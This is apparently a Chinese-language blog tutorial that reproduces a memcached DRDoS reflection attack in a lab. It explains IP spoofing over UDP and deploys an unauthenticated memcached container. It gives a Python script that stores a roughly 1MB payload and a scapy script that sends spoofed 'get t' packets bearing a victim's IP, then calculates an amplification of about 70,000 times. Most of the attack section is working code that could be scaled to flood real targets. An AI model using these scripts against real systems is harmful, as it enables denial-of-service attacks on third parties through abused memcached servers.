memcached DRDOS攻击实验

一、前提

关于drdos

DRDoS(Distributed Reflection Denial of Service) 指的是利用IP Spoofing技术,构造带有受害者IP的数据包,发送给肉鸡,然后肉鸡对受害者IP做出大量回应,造成拒绝服务。

关于memcached命令

第一个是上传有效载荷Memcached set 命令

Memcachedset 命令用于将 value(数据值) 存储在指定的 key(键) 中。

如果set的key已经存在,该命令可以更新该key所对应的原来的数据,也就是实现更新的作用

第二个反射有效载荷Memcached get 命令

Memcachedget 命令获取存储在 key(键) 中的 value(数据值) ,如果 key 不存在,则返回空。

关于攻击原理

TCP基于3次握手,如果源IP被伪造会停止通信,但是UDP因为面向无连接的,即使伪造IP也可以通信,服务器也无法验证源IP真实性,因此我们可以通过发送源地址为被攻击主机IP的数据包来将Memcached服务器返回的包发送给被攻击主机,从而达到反射攻击的目的。我们将使用TCP来上传我们的攻击载荷,使用UDP构造请求来发起攻击

关于攻击过程

drdos攻击的三个过程

1.攻击者,必须提前需要把攻击数据存放在所有的在线肉鸡或者反射服务器之上。

2.攻击者,必须伪造IP源头。发送海量伪造IP来源的请求。当然这里的IP就是受害者的IP地址。

3.反射服务器,必须可以反射数据,运行良好稳定。最好是请求数据少,返回数据成万倍增加。

二、实验环境

攻击机 kali,装有memcached的ubuntu肉鸡,受害机,这里是模拟,受害机ip可以随便写

Memcached drdos拓扑图

三、实验步骤

1.docker部署memcached

默认已经安装了docker,docker-compose,用docker起一个memcached环境,需要同时打开udp和tcp,-e表示配置memcached的环境变量,缓存大小设置为64M

docker run -d -p 11211:11211/tcp -p 11211:11211/udp -e MEMCACHED_MEMORY_LIMIT=64m -e MEMCACHED_TCP_PORT=11211 -e MEMCACHED_UDP_PORT=11211 --name memcache memcached:1.4.32

2.docker ps 查看容器状态

3.查看端口开放情况

netstat -anop | grep 11211 看到tcp和udp都有在监听连接,大抵是udp是面向无连接的,所以虽然没显示listen,但其实也在监听

4.测试无授权

memcached drdos攻击需要满足无授权,来测试一下是不是无授权

输入telnet 192.168.20.172 11211

然后输入stats,发现不用输入密码也能正常回显,无授权条件达成

5.编写set脚本

python安装pymemcache库

pip install pymemcache

然后编写脚本set大约1Mb数据到memcached,

创建并编辑drdos.py

from pymemcache.client.base import Client
import sys client = Client(('192.168.20.172', 11211)) //装有memcached的ubuntu肉鸡ip
# set payload
key = 't'
data ='A'*1023*1023 + "B"
result = client.set('t', data)
if result:
print "[*] payload set done!"
else:
print "[!] payload set error!"

6.编写反射脚本

src为伪造的ip,这里为受害机,伪造是10.40.0.133发起的get t请求,memcached将会把数据反射给10.40.0.133

from scapy.all import *
from scapy import *
from scapy.layers.inet import IP, UDP
import sys for i in range(int(sys.argv[1] )):
data = "\x00\x00\x00\x00\x00\x01\x00\x00get t\r\n"
package=IP(dst='192.168.20.155', src='10.40.0.133')/UDP(dport=11211,sport=2018)/data
send(package, count=1)
print "[*] send %d times " % int(i+1)

7.分别运行set和反射脚本

python drdos.py

python drdos1.py 1 (数字为想要请求几次,这里就请求一次)

8.查看set结果

在刚刚telnet连接的界面

输入get t,看看有没有set成功

看到数据总共1046530字节

9.查看流量

在受害机wireshark抓取流量,这里选择捕获虚拟机网卡的流量,根据实际情况选择

过滤udp.port == 11211,可以看到伪造的15字节的udp get请求,看到源目的ip,确实是反射给了受害机,因为是udp,会分成多个包

随意选择一个,追踪udp流,看到整个udp包

10.计算放大比

我们在kali伪造请求数据data = "\x00\x00\x00\x00\x00\x01\x00\x00get t\r\n" 总共15字节,但memcached却给受害机反射了1046530字节

1046530/15约等于69768倍,也就是放大了将近7万倍,这还只是我们在一个机子上发送的一次请求

memcached DRDOS攻击实验的更多相关文章

  1. 关于Memcached反射型DRDoS攻击分析

    一.Memcached反射攻击原理 1.反射DRDoS攻击: DRDoS攻击时DoS攻击的一种,DoS是指通过发送或引发大量的资源消耗导致服务不可用的一种攻击方式,中文称之为拒绝服务攻击.DRDoS是 ...

  2. 审核Memcrashed Drdos攻击代码

    0x00前言: 距离世界上最大的Drdos攻击已经过去了两个星期左右 昨天在交流的时候.群友在Github中找到了exploit. 0x01开始: #-- coding: utf8 -- #!/usr ...

  3. Mininet实验 基于Mininet实现BGP路径挟持攻击实验

    参考:基于Mininet实现BGP路径挟持攻击实验 实验目的: 掌握如何mininet内模拟AS. 掌握BGP路径挟持的原理和分析过程. 实验原理: 互联网是由相互连接的自治系统AS组成的,通过一个通 ...

  4. CSAPP缓冲区溢出攻击实验(上)

    CSAPP缓冲区溢出攻击实验(上) 下载实验工具.最新的讲义在这. 网上能找到的实验材料有些旧了,有的地方跟最新的handout对不上.只是没有关系,大体上仅仅是程序名(sendstring)或者參数 ...

  5. CSAPP缓冲区溢出攻击实验(下)

    CSAPP缓冲区溢出攻击实验(下) 3.3 Level 2: 爆竹 实验要求 这一个Level的难度陡然提升,我们要让getbuf()返回到bang()而非test(),并且在执行bang()之前将g ...

  6. Ubuntu下缓冲器溢出攻击实验(可以看看问题分析)

    缓冲器溢出攻击实验题目: 下边的代码摘自<黑客攻防技术宝典——系统实战篇(第 2 版)>2.5 节,攻击该代码,获得root 权限,实现相应的效果. strcpy(little_array ...

  7. ms08_067攻击实验

    ms08_067攻击实验 ip地址 开启msfconsole 使用search ms08_067查看相关信息 使用 show payloads ,确定攻击载荷 选择playoad,并查看相关信息 设置 ...

  8. 20145305 《网络对抗》注入Shellcode并执行&Return-to-libc 攻击实验

    注入Shellcode并执行 实践指导书 实践过程及结果截图 准备一段Shellcode 我这次实践和老师用的是同一个 设置环境 构造要注入的payload 我决定将返回地址改为0xffffd3a0 ...

  9. 20145330 《网络对抗》PC平台逆向破解:注入shellcode 和 Return-to-libc 攻击实验

    20145330 <网络对抗>PC平台逆向破解:注入shellcode 实验步骤 1.用于获取shellcode的C语言代码 2.设置环境 Bof攻击防御技术 需要手动设置环境使注入的sh ...

  10. 20145315《网络对抗》——注入shellcode以及 Return-to-libc攻击实验

    shellcode 准备一段Shellcode 我用的老师的shellcode:\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3 ...

随机推荐

  1. (原创)[开源][.Net Standard 2.0] SimpleMMF (进程间通信框架)更新 v1.1,极低CPU占用

    一.前言 在上一篇 (原创)[.Net] 进程间通信框架(基于共享内存)--SimpleMMF 中,发布了v1.0版,最大的问题是:CPU占用较高,至少40-50%. 这既与我的开发水平有关,也与Si ...

  2. 153:从shell提示符编辑文本文件

  3. vim系列-文本操作篇

    基数行与偶数行分组 使用Vim的替换命令,可以轻松地将基数行和偶数行分组: %s/\(^.*$\)\n\(^.*$\)/\1 \2/g 然后,删除所有的基数行: %s/^.*$\n\(^.*$\)/\ ...

  4. 「NOIP2024」 树上查询

    update 2024/12/28 题目描述 给定一棵树,每次询问区间 \([l,r]\) 的 \[\max_{l \le l' \le r' \le r \land r' - l' + 1 \ge ...

  5. NPOI与excelcnv.exe

    在使用NPOI解析一些比较古老的仪器生成的excel文件时,经常会这个错误:The supplied spreadsheet seems to be Excel 5.0/7.0 (BIFF5) for ...

  6. waterdrop同步mysql数据到hive

    一.shell类型任务,提交到yarn集群 #!bin/bash#=========================数据源配置,只读账号=========================jdbc_ur ...

  7. 用 DeepSeek 给对象做个网站,她一定感动坏了

    大家好,我是程序员鱼皮.又是一年特殊的日子,作为一名程序员,总是幻想着自己有对象, 总是想着用自己贼拉牛 X 的编程技术给对象做个网站. 本文对应视频,观看体验更好哦:https://bilibili ...

  8. Android ADB 使用笔记

    ADB 工作原理 当启动某个adb客户端时,该客户端会先检查是否有adb服务器正在运行,如果没有则启动服务器进程.服务器会在启动后与本地TCP端口 5037 绑定,并监听adb客户端 发出的命令. 服 ...

  9. allure 报告空白

    在pycharm 运行py文件后生成的报告内容空白: 尝试方法 替换allure版本号---不好用 用命令生成.html测试报告,再以浏览器形式打开 ** ** 命令 allure generate ...

  10. 如何基于大语言模型和MaxKB实现PPT自动生成方案

    一.实现方案 利用讯飞大模型智能 PPT 生成接口实现,具体参见:讯飞开放平台智能PPT生成 https://www.xfyun.cn/services/aippt#anchor4503211 二.新 ...